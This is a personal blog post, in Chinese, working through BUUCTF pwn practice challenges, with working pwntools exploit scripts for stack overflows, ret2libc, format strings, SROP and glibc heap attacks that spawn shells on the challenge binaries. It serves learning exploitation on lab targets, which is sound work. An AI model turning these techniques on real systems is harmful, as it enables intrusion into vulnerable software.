跳到主要内容
  1. Posts/

BUUCTF Pwn 练习记录

·

从今天起,我也是 Pwn 🐕 了。

Part I #

test_your_nc #

nc 直接连,cat flag

rip #

栈溢出,可直接覆盖返回地址,注意 64 位:

payload = 'a'*(0xf+8) + p64(elf.symbols['fun'])
s(payload)

warmup_csaw_2016 #

和上题其实一样,程序中存在后门,直接返回过去。

payload = 'a'*(0x40+8) + p64(0x40060d)
s(payload)

pwn1_sctf_2016 #

直接运行几次或者源码审计可以发现是将输入的 I 替换为 you,其余的其实和上面一样:

payload = 'I'*(0x3c // 3)+'a'*4+p32(elf.symbols['get_flag'])
sl(payload)

ciscn_2019_c_1 #

开启了 NX 保护,并且有未限制长度的 gets,基本上可以确定是 ROP 栈溢出。IDA 搜一下 string,可以发现有 libc 可以用,考虑 ret2libc。

pop_rdi = 0x400c83

def send(payload):
    ru('!\n')
    sl('1')
    ru('ed\n')
    sl(payload)

payload = flat('a'*0x58,pop_rdi,elf.got['__libc_start_main'],elf.plt['puts'],elf.sym['main'])
send(payload)

ru('@\n')
leak = uu64(r(6))
system,binsh = ret2libc(leak,'__libc_start_main')

payload = flat('a'*0x58,pop_rdi,binsh,system)
send(payload)

ciscn_2019_n_1 #

依然是最简单的无保护 gets 并且程序中有 system("cat /flag"),找到后者地址返回过去即可。

cat_flag = 0x4006be

def send(payload):
    ru('number.\n')
    sl(payload)

payload = flat('a'*0x38, cat_flag)
send(payload)

ciscn_2019_en_2 #

和上上题一样。

Part II #

[OGeek2019]babyrop #

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if (fd> 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

mainsub_80486BB 用于初始化,然后将一个随机数传入 sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s,"%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if (strncmp(buf, &s, v1) )
    exit(0);
  write(1,"Correct\n", 8u);
  return v5;
}

这里的 a1 就是传入的随机数,然后要求我们的输入和随机数经过 strncmp 比较后完全相同,我们可以输入 \x00 使得 strlen 函数返回 0,从而使得 strncmp 函数只比较 0 个字节,那么就能绕过这里的 exit(0),并返回 v5。注意到这里的返回值 v5ebp-0x25,距离我们能控制的位于 ebp-0x2c 的变量 buf 相差 0x7,小于这里 read 的长度限制 0x20,因此可以通过栈溢出控制 v5 的值,从而控制 main 中的 v2

随后,v2 会被传入 sub_80487D0:

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if (a1 == 127)
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

a1 就是我们可以控制的 v2,也就是说这里可以向 buf 写入的数据长度也是我们能控制的,那么我们希望它尽可能大,也就是等于 0xff。那么在上一个函数中我们就需要令 v50xff,结合上面的绕过,可以输入 '\x00' + 6*'a' + '\xff' 来达到这个目的。最后 ret2libc 即可。

def send1():
    payload = flat('\x00','a'*6,'\xff')
    sl(payload)
    ru('Correct\n')

send1()
main = 0x8048825
payload = flat('a'*(0xe7+4),elf.plt['write'],main,1,elf.got['__libc_start_main'],4)
sl(payload)

leak = u32(r(4))
system,binsh = ret2libc(leak,'__libc_start_main')

send1()
payload = flat('a'*(0xe7+4),system,'a'*4,binsh)
p.sendline(payload)

babyheap_0ctf_2017 #

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

分配内存使用了 calloc,每次分配会先清空一下这块内存,大小限制是 4096B。填充时直接读取用户输入,没有检查长度,因此可以堆溢出。除了 canary 外保护全开,因此考虑泄露 libc。如何泄露?

当只有一个 small bin/large bin 被释放时,其 fdbk 指向 main_arena 中的地址,而后者是 libc 的一个全局变量,因此可以通过它泄露出 libc 基址。

首先分配 4 个 fast chunk 和 1 个 small chunk(不妨分别称为 a,b,c,d,e),然后释放 b,它将被加入 fast bin 顶部。此时再释放 c,那么 c 也会加入 fast bin 顶部,并且它的 fd 指向 b。此时有:freelist->c->b

for i in range(4):
    alloc(0x10) # a0,b1,c2,d3
alloc(0x80) # e4
free(1) # b
free(2) # c

这样就可以进行 fastbin attack。利用 Fill 堆溢出修改 cfde 的地址(我们需要从未被释放的 a 开始填充,所以刚才不是从 a 开始释放),随后第一次 Allocate 拿到 c,第二次 Allocate 就能拿到 e

# c->fd = e
payload = flat([0,0,0,0x21,0,0,0,0x21,'\x80'])
fill(0, payload)

注意这里 payload 的前三个 0 用于填充 a0x10 字节的用户数据和 b0x8 字节的 prev_size 字段,后面同理。0x21a/b/c/dchunk_size0x80e 的地址低 8 位,都可以通过 gdb 调试得到。

注:0x21 低位的 1 表示 PREV_INUSE,这和 fast bin 中 chunk 的 P 位不变是一致的。

然而这里存在一个安全检查:

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}

检查我们拿到的 chunk 的大小是否在对应索引的 fast bin 范围内。所以我们还需要修改 echunk_size 字段,方法同样是堆溢出。

# e->chunk_size = 0x21
payload = flat([0,0,0,0x21])
fill(3, payload)

这里通过 d 溢出到 echunk_size 并覆盖上了 0x21,gdb 调试得到其索引为 2

修改完成后才可以进行两次 alloc(0x10) 从而拿到 e。拿到 e 后再释放掉它就可以获得其 fdbk,但这里有两个问题:

  1. 前面对其 chunk_size 的修改会导致释放时 e 进入 fast bin,拿不到 fdbk
  2. e 被释放后与 top chunk 相邻,必定会被合并。
  3. fdbk 到底指向哪里?

解答:

  1. echunk_size 恢复即可。
  2. 释放 e 前再多申请一个 small chunk 使得 e 不与 top chunk 相邻。
  3. e 被释放后进入 unsorted bin,所以其 fdbk 都指向 unsorted bin 的链表头,注意其地址到 libc 基址的偏移是固定的 0x3c4b78
# e->chunk_size = 0x91
payload = flat([0,0,0,0x91])
fill(3, payload)
alloc(0x80) # f5
free(4) # e, e->fd = unsorted_head

base = u64(dump(2)[:8])-0x3c4b78

最后的 dump(2) 就是打印索引为 2 的 chunk,也就是 e,从而得到 efdbk

之后,再次使用 fast bin attack 将 libc 中函数,例如 __malloc_hook 放入 fast bin,然后用 malloc 返回给我们,就可以实现类似 GOT 劫持的效果。__malloc_hook 只要非空,就会在 malloc 时被调用,我们让它指向 one_gadget 找到的一个 gadget 即可,比如可以用距离 libc 基址 0x4526a 的 gadget。

但是同样的,我们需要绕过上面的安全检查。幸运的是,该检查对于对齐没有任何要求。通过 gdb 调试我们发现在 __malloc_hook 附近的 _IO_wide_data_0+304 位置其高位字节为 7f 而低位字节含有连续的 00,因此可以通过增加一些偏移获得 0x7f 这个数值作为 chunk_size,恰好能通过检查。

如下:

pwndbg> x/32xg (long long)(&main_arena)-0x40
0x7f16d95deae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
0x7f16d95deaf0 <_IO_wide_data_0+304>:    0x00007f16d95dd260    0x0000000000000000
0x7f16d95deb00 <__memalign_hook>:    0x00007f16d929fe20    0x00007f16d929fa00
0x7f16d95deb10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000

我们加 13 字节偏移(循环右移),成功伪造 chunk_size

pwndbg> x/32xg (long long)(&main_arena)-0x40+0xd
0x7f16d95deaed <_IO_wide_data_0+301>:    0x16d95dd260000000    0x000000000000007f
0x7f16d95deafd:    0x16d929fe20000000    0x16d929fa0000007f
0x7f16d95deb0d <__realloc_hook+5>:    0x000000000000007f    0x0000000000000000
0x7f16d95deb1d:    0x0000000000000000    0x0000000000000000

0x7f 对应的 malloc 请求大小大约是 0x60。现在,freelist 顶部是 e,于是 alloc(0x60) 就会分配总大小为 0x71、起点与 e 相同、且索引为 4 的 chunk g,这时再 freeg 就会使得 g 位于 freelist 顶部。

alloc(0x60) # g4
free(4) # g

接下来修改索引为 2 的 chunk 的 fd(实际就是为了修改 e 或者说 gfd)指向 _IO_wide_data_0+301 地址,然后第一次 Allocate 得到 g 位于索引 5,第二次 Allocate 得到指向 _IO_wide_data_0+301 的指针,位于索引 6

# g->fd = _IO()
payload = p64(base+0x3c4aed)
fill(2, payload)

alloc(0x60) # g5
alloc(0x60) # _IO()6

而由上面的 gdb 分析可知得到的指针位于 0xaed__malloc_hook 位于 0xb10(PIE 下低 12 位固定),相差 0x13。因此填充 0x13 字节的 padding 后再放上 getshell 的 gadget 地址即可。

# _IO() + 13 == __malloc_hook(), one_gadget
payload = flat(['\x00'*0x13, base+0x4526a])
fill(6, payload)

最后不要忘记再申请一次任意大小内存以调用 __malloc_hook。完整 exp,注意最后一次 alloc 返回得有点慢,recvuntil 最好加一个 timeout

def alloc(size):
    sl('1')
    sla(':', str(size))
    ru(':', timeout=1)

def fill(idx, data):
    sl('2')
    sla(':', str(idx))
    sla(':', str(len(data)))
    sa(':', data)
    ru(':')

def free(idx):
    sl('3')
    sla(':', str(idx))
    ru(':')

def dump(idx):
    sl('4')
    sla(':', str(idx))
    ru(': \n')
    data = p.ru('\n')
    ru(':')
    return data


for i in range(4):
    alloc(0x10) # a0,b1,c2,d3
alloc(0x80) # e4
free(1) # b
free(2) # c

# c->fd = e
payload = flat(0,0,0,0x21,0,0,0,0x21,'\x80')
fill(0, payload)

# e->chunk_size = 0x21
payload = flat(0,0,0,0x21)
fill(3, payload)

alloc(0x10) # c1
alloc(0x10) # e2

# e->chunk_size = 0x91
payload = flat(0,0,0,0x91)
fill(3, payload)
alloc(0x80) # f5
free(4) # e, e->fd = unsorted_head

base = u64(dump(2)[:8])-0x3c4b78
leak('libc_base',base)

alloc(0x60) # g4
free(4) # g

# g->fd = _IO()
payload = p64(base+0x3c4aed)
fill(2, payload)

alloc(0x60) # g5
alloc(0x60) # _IO()6

# _IO() + 0x13 == __malloc_hook(), one_gadget
payload = flat('\x00'*0x13,p64(base+0x4526a))
fill(6, payload)

# malloc() -> __malloc_hook()
alloc(1)

get_started_3dsctf_2016 #

本地运行脚本:

get_flag = 0x80489a0
payload = flat('a'*0x38,get_flag,'a'*4,0x308cd64f,0x195719d1)
sl(payload)

print r()

本来这样是可以直接读取 flag 的,但是远程不行。因此远程运行时换了一种更具难度的方法,就是调用 mprotect 修改 bss 段权限使得其可执行,随后写入 shellcode。

需要注意 mprotect 第二个参数要求页对齐,第三个参数为 7 表示 rwx。修改完成后从标准输入读入 shellcode,写入 bss_base 后返回到 bss_base 处执行。

pop3 = 0x80483b8
got_base = 0x80eb000
bss_base = elf.bss()
payload = flat('a'*0x38,elf.sym['mprotect'],pop3,got_base,0x1000,7,elf.sym['read'],pop3,0,bss_base,0x200,bss_base)
sl(payload)
sleep(1)
sl(asm(shellcraft.sh()))

not_the_same_3dsctf_2016 #

和上面 get_started 做法一样。我怀疑 BUU 上一题在服务器上放错了二进制文件,也放了这一题的,所以第一个脚本才会无效。

[第五空间 2019 决赛]PWN5 #

长度限制无法栈溢出,但是存在明显的格式化字符串漏洞。通过 aaaa %08x %08x ... 可以判断偏移为 10。

然后利用 %10$n 修改 0x804c044 地址(IDA 得到)处的值即可,最后输入 passwd 需要与已成功输出的字符数相等。当然,也可以直接修改 atoi 的 GOT 地址为 system 的 PLT 地址。

sla(':', p32(0x804c044) + '%10$n')
sla(':', '4')

ciscn_2019_n_8 #

IDA 可知需要让 var 的下标为 13 的元素(也就是第 14 个)等于 17,直接按照需求写脚本即可:

sl(p32(17)*14)

babyfengshui_33c3_2016 #

本题源码大致如下,开启了 canary 和 NX:

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int action; // [esp+4h] [ebp-14h]
  size_t input; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while (1)
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action:");
    if (__isoc99_scanf("%d", &action) == -1 )
      break;
    if (!action)
    {
      printf("size of description:");
      __isoc99_scanf("%u%c", &input, &v0);
      add(input);
    }
    if (action == 1)
    {
      printf("index:");
      __isoc99_scanf("%d", &input);
      delete((unsigned __int8)input);
    }
    if (action == 2)
    {
      printf("index:");
      __isoc99_scanf("%d", &input);
      display((unsigned __int8)input);
    }
    if (action == 3)
    {
      printf("index:");
      __isoc99_scanf("%d", &input);
      update(input);
    }
    if (action == 4)
    {
      puts("Bye");
      exit(0);
    }
    if ((unsigned __int8)total_users > 0x31u )
    {
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}

我们重点关注可能存在漏洞的 addupdate,首先是 add

_DWORD *__cdecl add(size_t size)
{
  void *desc; // ST24_4
  _DWORD *user; // ST28_4

  desc = malloc(size);
  memset(desc, 0, size);
  user = malloc(0x80u);
  memset(user, 0, 0x80u);
  *user = desc;
  users[(unsigned __int8)total_users] = user;
  printf("name:");
  read_name((char *)users[(unsigned __int8)total_users] + 4, 124);
  update(++total_users - 1);
  return user;
}

这里可以大致了解到 user 结构体大约长这样:

struct user {
    char *description;
    char name[124];
};

注意 descrptionuser 开始的地方。

随后发现 update 中存在一处防护措施:

unsigned int __cdecl sub_8048724(unsigned __int8 index)
{
  char v2; // [esp+17h] [ebp-11h]
  int len; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if (index < (unsigned __int8)total_users && users[index] )
  {
    len = 0;
    printf("text length:");
    __isoc99_scanf("%u%c", &len, &v2);
    if ((char *)(len + *(_DWORD *)users[index]) >= (char *)users[index] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text:");
    read_name(*(_DWORD *)users[index], len + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

这里其实是判断当前 user->description 加上输入的字符串长度是否会超过 user 起始地址 - 4 的位置,目的很明显是为了防止堆溢出。预期内存布局是:

 --------
| Desc0  |
 -------- <- user0
| &Desc0 |
 --------
| name0  |
 --------
| Desc1  |
 -------- <- user1
| &Desc1 |
 --------
| name1  |
 --------
| Desc2  |
 -------- <- user2
| &Desc2 |
 --------
| name2  |
 --------

然而,我们还拥有删除用户的功能。假如我们删除第 0 个用户,那么他拥有的空间就被 free() 了。这时我们新增用户,由于 desc 长度可控,我们可以控制其长度让它恰好分配到原来第 0 个用户的空间,从 Desc0 一直到 name0 结束。那么此时:

 --------
|        |
|        |
| Desc3  |
|        |
|        |
 --------
| Desc1  |
 -------- <- user1
| &Desc1 |
 --------
| name1  |
 --------
| Desc2  |
 -------- <- user2
| &Desc2 |
 --------
| name2  |
 -------- <- user3
| &Desc3 |
 --------
| name3  |
 --------

不难发现,即使有上述防护措施的限制,我们依然可以溢出到 user1 并覆盖其中数据。如果把 libc 中函数的 GOT 表地址放进去,然后 display 函数打印出来,就能泄露 libc 地址。然后进行 GOT 劫持即可 getshell。

需要注意的是,上图中 Desc1 前和 &Desc1 前都有 8 字节 chunk header,覆盖时需要考虑它们占的 16B。此外,Desc0+user0 原本所占的空间实际上是 0x8+0x80+0x8+0x80,而 Desc3 申请 0x100 字节时实际占 0x8+0x100,前者比后者多出空闲的 0x8 字节,也需要考虑。因此计算偏移 0x100+0x8+0x8+0x80+0x8=0x198

放上 0x198 字节的 padding 后,就可以把 free 的 GOT 地址放在 &Desc1 处,此时打印出来的就是 free 的 GOT 地址,从而泄露出 libc。这时再利用更新功能用 system.plt 覆盖 free.got,那么执行 free 时就会执行 system。此时还差一个参数 /bin/sh,我们不妨放在 Desc2 处,那么在删除 user2 时,有源码:

unsigned int __cdecl delete(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if (index < (unsigned __int8)total_users && users[index] )
  {
    free(*(void **)users[index]);
    free(users[index]);
    users[index] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}

这里就会执行 free(address of /bin/sh),实际上就是 system('/bin/sh')

def add(max_len, desc_len, text):
    sla('Action:', '0')
    sla('description:', str(max_len))
    sla('name:', 'aaaa')
    sla('length:', str(desc_len))
    sla('text:', text)

def delete(index):
    sla('Action:', '1')
    sla('index:', str(index))

def display(index):
    sla('Action:', '2')
    sla('index:', str(index))

def update(index, desc_len, text):
    sla('Action:', '3')
    sla('index:', str(index))
    sla('length:', str(desc_len))
    sla('text:', text)

add(0x80,0x80,'a'*0x80)
add(0x80,0x80,'b'*0x80)
add(0x8,0x8,'/bin/sh\x00')
delete(0)

add(0x100,0x19c,'a'*0x198+p32(elf.got['free']))
display(1)
ru('tion:')
free = u32(r(4))
leak('free',free)
system,binsh = ret2libc(free,'free')

update(1,4,p32(system))
delete(2)

ciscn_2019_s_3 #

本题代码很少,注意到 gadgets 函数中有 mov rax, 0Fhmov rax, 3Bh 可以控制 rax,它们恰好分别对应系统调用 sigreturnexecve。因此本题可以围绕这两个系统调用给出两种做法。

比较难的做法是利用 execve,我们希望执行 execve('/bin/sh',0,0),那么还需要控制 rdi,rsi,rdx。这里需要几个 gadgets,但是 gadgets 函数中的不够用,所以可以 ret2csu/bin/sh 需要我们自己写,但只能写到栈上,因此需要通过 write 泄露栈地址。

我们输入的内容位于 rbp-0x10,那么填充 16 字节后填充 main 函数地址即可重启程序同时泄露栈地址,gdb 调试可知泄露位置距离我们的输入偏移量为 0x118 字节。

最后在栈上布置好 /bin/sh 字符串和 pop_rdi 的 gadget,准备好 rax,返回到 csu 末尾确保 rbx=0rbp=1,将栈上 pop rdi 的地址给 r12 以便调用,随后设置 rsi,rdx 为 0,最后将 /bin/sh 的地址给 rdi,调用 syscall 即可。

syscall = 0x400517
mov_rax_3b = 0x4004e2
pop_rdi = 0x4005a3
csu_1 = 0x400580
csu_2 = 0x40059a

payload = 'a'*16 + p64(elf.sym['main'])
sl(payload)
r(0x20)
stack = uu64(r(8))-0x118
leak('stack',stack)

payload = flat('/bin/sh\x00',pop_rdi,mov_rax_3b,csu_2,0,1,stack-0x18,0,0,0,csu_1,pop_rdi,stack-0x20,syscall)
sl(payload)

第二种方法则是 SROP。我们利用 mov rax, 0Fh 控制 rax 为 15,随后调用 syscall,相当于执行了一次 sigreturn。可以伪造 sigreturn frame 来执行 execve('/bin/sh',0,0)

syscall = 0x400517
mov_rax_0f = 0x4004da

payload = 'a'*16 + p64(elf.sym['vuln'])
sl(payload)
r(0x20)
stack = uu64(p.r(8))-0x118
leak('stack',stack)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack
frame.rip = syscall

payload = flat('/bin/sh\x00'*2,mov_rax_0f,syscall) + str(frame)
sl(payload)

[HarekazeCTF2019]baby_rop #

发现 main 里有 system,然后还找到了 /bin/sh 字符串和 pop rdi 的 gadget,那就老办法传参就行了,就是 getshell 之后需要找一下 flag 的位置。

binsh = 0x601048
pop_rdi = 0x400683

payload = flat('a'*0x18,pop_rdi,binsh,elf.plt['system'])
sl(payload)

pwn2_sctf_2016 #

本题先会让用户设置读入数据长度,如果大于 32 则退出。由于它自己实现的 get_n 函数第二个参数是 unsigned int,很容易想到使用整数溢出来绕过这个限制,因此可以输入 -1 产生栈溢出漏洞。然后 ret2libc 就好。

ru('read?')
sl('-1')
ru('data!')

you_said_s = 0x80486f8
payload = flat('a'*(0x2c+4),elf.plt['printf'],elf.sym['main'],you_said_s,elf.got['printf'])
sl(payload)
ru('You said:')
ru('You said:')

printf = u32(r(4))
leak('printf',printf)
system,binsh = ret2libc(printf,'printf')

ru('read?')
sl('-1')
ru('data!')
payload = flat('a'*(0x2c+4),system,'a'*4,binsh)
sl(payload)

ez_pz_hackover_2016 #

这题要求字符串 scrackme\x00 开头,随后会执行 memcpy 将我们的输入复制到一个 dest 位置。我们通过 gdb 调试可以测出其距离 ebp 距离为 22,要覆盖到返回地址则需要 26 字节。至于返回地址,题目提供了字符串 s 的地址,但是直接以它作为返回地址会失败,gdb 调试到 vuln 函数中的 ret 语句的时候会发现,返回地址位于 0xffca41dc,而我们写入的数据位于 0xffca41c0,相差 0x1c,因此还需要考虑该偏移量。

ru('crash:')
ss = int(ru('\n'),16)
leak('ss',ss)

payload = 'crashme\x00'.ljust(26,'\x00') + p32(ss-0x1c) + asm(shellcraft.sh())
sl(payload)

ciscn_2019_ne_5 #

本题有 GetFlag 的后门,有一个 memcpy 的操作,此时需要关注的偏移实际上是 destebp 的距离。管理员密码可直接通过反编译得到。

binsh = 0x80482ea
sla('password:','administrator')
sla('Exit\n:','1')
payload = flat('a'*(0x48+4),elf.plt['system'],'a'*4,binsh)
sla('info:',payload)
sla('Exit\n:','4')

[HarekazeCTF2019]baby_rop2 #

题目给定了 libc,结合题目名可以想到 ret2libc,这里只能调用 printf 来打印函数 GOT 地址,其余和常规 ret2libc 相同。

pop_rdi = 0x400733
payload = flat('a'*0x28,pop_rdi,elf.got['read'],elf.plt['printf'],elf.sym['main'])
sla('name?', payload)
ru('\n')
read = uu64(r(6))
leak('read', read)
system, binsh = ret2libc(read,'read','./libc.so.6')
payload = flat('a'*0x28,pop_rdi,binsh,system,'a'*8)
sla('name?', payload)

ciscn_2019_n_5 #

本题没有开启任何保护,因此方法多样,例如 ret2libc:

sla('name\n', 'merc')
pop_rdi = 0x400713
#ret = 0x4004c9
payload = flat('a'*0x28,pop_rdi,elf.got['read'],elf.plt['puts'],elf.sym['main'])
ru('me?\n')
sl(payload)
read = uu64(r(6))
leak('read',read)
sla('name\n', 'merc')
system, binsh = ret2libc(read,'read')
payload = flat('a'*0x28,pop_rdi,binsh,system,'a'*8)
sla('me?\n', payload)

或者更简单的 ret2shellcode:

sla('name\n', asm(shellcraft.sh()))
payload = flat('a'*0x28,0x601080)
ru('me?\n')
sl(payload)

由于远程 libc 版本和本地二进制文件的版本不同,打远程时推荐使用 ret2shellcode,感觉这个更接近预期解。

ciscn_2019_final_3 #

提供了 libc,发现是 2.27 版本的,考虑和 tcache 利用有关。

程序提供了 addremove 两个功能,首先 add 只能创建小于 0x78 字节的 chunk,且最多创建 0x18 个 chunk。gift 会返回分配到的内存地址。而在 remove 中,free 之后没有将指针置 null,存在 double free。

由于题目给了 libc,我们希望能泄露 libc 地址,这就需要 tcache 中某节点的 fd 指向 libc。而我们知道,unsorted bin 指向 main_arena 的指针是指向 libc 的,那么能不能把这个指针给 tcache 中某节点的 fd 呢?

由于 0x78 字节的限制我们无法直接创建适合放入 unsorted bin 中的 chunk,因此需要先合并小堆块,然后修改 chunk0chunk_size 把他变成一个大堆块。那么如何修改这个 chunk_size 字段?这就需要用到 double free,假设我们连续申请堆块申请到了 chunk11

chunk0 = add(0x78)
add(0x18)
for i in range(10):
    add(0x78)

注:第二次分配了 0x18 字节是 64 位下最小分配大小。这个 chunk1 的分配是为了让 unsorted bin 与 tcache 错位。

那么这时连续两次 freechunk11,再 add 回来,使得 chunk11->fd = chunk0-0x10,那么我们就在 chunk0-0x10 处伪造了一个堆块,再次 add 就会分配到 chunk0-0x10,此时填入准备好的 prev_sizechunk_size 即可修改 chunk0 大小。注意为了确保释放后进入 unsorted bin,chunk_size 需大于 0x400 字节。

remove(11)
remove(11)
add(0x78,p64(chunk0-0x10)) # chunk11->fd = chunk0-0x10
add(0x78,p64(chunk0-0x10))
add(0x78,p64(0)+p64(0x4a1))

随后我们释放 chunk0 就会进入 unsorted bin,而释放 chunk1 会进入 tcache[0]。此时 add 就会得到 chunk0,并使得 chunk1->fd = main_arena,那么接下来一次 add 得到 chunk1,下一次 add 得到 main_arena,减去偏移量即 libc 基址。

remove(0) # unsorted bin
remove(1) # tcache[0]
add(0x78) # chunk0; chunk1->fd = main_arena
add(0x18) # chunk1
main_arena = add(0x18)
base = main_arena - 0x3ebca0
leak('base', base)

最后再次利用 double free,用 one_gadget 覆盖 free_hook,再次调用 remove 即可。

libc = ELF('./libc.so.6')
free_hook = base + libc.sym['__free_hook']
one_gadget = base + 0x10a38c

add(0x28)
remove(18)
remove(18)
add(0x28, p64(free_hook))
add(0x28, p64(free_hook))
add(0x28, p64(one_gadget))
remove(0)

ciscn_2019_es_2 #

只能溢出 8 字节,空间太小,因此考虑栈迁移。如下布置栈:

ret addr
ebp-0x2c
padding
/sh\x00
/bin
ebp-0x1c
padding
system
padding
ebp-0x24
padding
padding

得到:

sa('name?\n','a'*0x28)
ru('a'*0x28)
ebp = uu32(r(4))
leak('ebp', ebp)
payload = flat('a'*8,ebp-0x24,'a'*4,elf.plt['system'],'a'*4,ebp-0x1c,'/bin/sh\x00','a'*4,ebp-0x2c)
s(payload)

roarctf_2019_easy_pwn #

本题在 write 时存在 off_by_one 漏洞:

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if (a1> (signed int)a2 )
    return a2;
  if (a2 - a1 == 10)
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

如果编辑时输入的 size 比创建时的 size 大 10,就可以多输入一个字节。这多出来的一个字节可以覆盖到下一个 chunk 的 chunk_size 字段,从而修改其大小,造成堆块重叠。

首先连续创建 5 个 chunk,其中第 0 个的大小必须以 8 结尾,否则只能溢出到 prev_size 而不是 chunk_size。编辑 0 中数据,触发 off_by_one 条件溢出修改 1 的大小。随后 free(1) 使其对应大小的 chunk 进入 unsorted bin,此时 2 的 fd 即指向 main_arena+88,从而可以泄露 libc。

add(0x58) # 0
for i in range(4):
    add(0x60) # 1
edit(0, 0x58+10,'a'*0x58+'\xe1')
delete(1)
add(0x60) # 1
show(2) # 2
ru('content:')
main_arena = uu64(r(6)) - 88
base = main_arena - libc.sym['__malloc_hook'] - 0x10
leak('base', base)

接下来先绕过 fastbin 的大小检查,随后向 fd 写入 malloc_hook 上方的地址后申请回来,从申请到的地址出发填充 11 字节后即可用 one_gadget 覆盖 __malloc_hook。但是需要注意的是 one_gadget 的约束条件得不到满足,因此需要先执行 __libc_realloc 对 rsp 进行调整。最后用 one_gadget 覆盖 __realloc_hook

add(0x60) # 5 (2)
delete(2) # bypass fastbin check
edit(5,0x8,p64(main_arena-0x33)) # above malloc_hook
add(0x60) # 2
add(0x60) # 6
payload = flat('a'*0xb,base+0x4526a,base+libc.sym['realloc']+2)
edit(6,len(payload),payload)
add(0x18)

ciscn_2019_n_3 #

本题 do_new 函数先创建 0xc 的 chunk,包含填充的数字、对数字的打印函数和释放函数;而如果申请的是 string 类型,且长度不超过 0x400 的话,随后还会创建一个新的 chunk,包含字符串内容、对字符串的打印函数和释放函数。

而在 do_del 中,free 后没有清空指针,存在 uaf。因此可以先申请两个堆块(总大小大于 0xc)然后依次释放,再申请一个大小为 0xc 的堆块。那么此时先会拿出 chunk10xc 这一块,再拿出 chunk00xc 这一块,后者是我们可写的。

通过逆向可知结构体偏移 0 处是打印函数、偏移 4 处是释放函数,释放函数的参数是结构体指针本身。那么我们将 chunk0 的打印函数写成 sh\x00\x00(注意 4 字节),释放函数用 system 覆盖,释放时就会执行 system("sh")

def add(index,len,content='a'):
    sla('CNote> ','1')
    sla('Index> ',str(index))
    sla('Type> ','2')
    sla('Length> ',str(len))
    sla('Value> ',content)

def delete(index):
    sla('CNote> ','2')
    sla('Index> ',str(index))

add(0,0x10)
add(1,0x10)
delete(0)
delete(1)
add(2,0xc,'sh\x00\x00'+p32(elf.sym['system']))
# 0xc from 1, then 0xc from 0
delete(0)

hitcon2014_stkof #

本题共四个功能:添加、读入内容、删除、显示。其中读入内容存在堆溢出,我们可以利用这个溢出实现 unlink 攻击。程序中存在全局数组 bag,存放所有 chunk 的 mem 指针。

先申请 3 个 chunk,其中第 1 个 chunk 没有用,只是因为前两个 chunk 不连续所以才申请的。随后通过 chunk2 溢出到 chunk3 进行 unlink 攻击,这样修改 bag[2] 等价于修改 bag[-1],填充掉 bag[-1]bag[0] 后,令:

  • bag[1] = elf.got['free']
  • bag[2] = elf.got['fflush']fflush 可以是任意已调用的 libc 函数
  • bag[3] = elf.got['atoi']

此时我们 edit(1) 写入 elf.plt['puts'] 即可劫持 free 函数到 puts,那么调用 delete(2) 就会打印出 fflush 地址,从而泄露 libc。最后 edit(3) 写入 system 地址,劫持 atoisystem,这是因为在程序读入指令时会调用 atoi(&nptr),我们输入的 nptr 只需要是 /bin/sh 即可 getshell。

def add(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

def delete(index):
    sl('3')
    sl(str(index))

def edit(index,content):
    sl('2')
    sl(str(index))
    sl(str(len(content)))
    s(content)
    ru('OK\n')

bag = 0x602140

add(0x80)
add(0x80)
add(0x80)
fd = bag+0x10-0x18
bk = bag+0x10-0x10
payload = flat(0,0x80,fd,bk).ljust(0x80,'a')
payload += flat(0x80,0x90)
edit(2,payload)
delete(3)

# bag[2] <-> bag[-1]
payload = flat('a'*0x10,elf.got['free'],elf.got['fflush'],elf.got['atoi'])
edit(2,payload)
edit(1,p64(elf.plt['puts']))
delete(2) # puts(GOT[fflush])
ru('OK\n')
fflush = uu64(r(6))
leak('fflush',fflush)
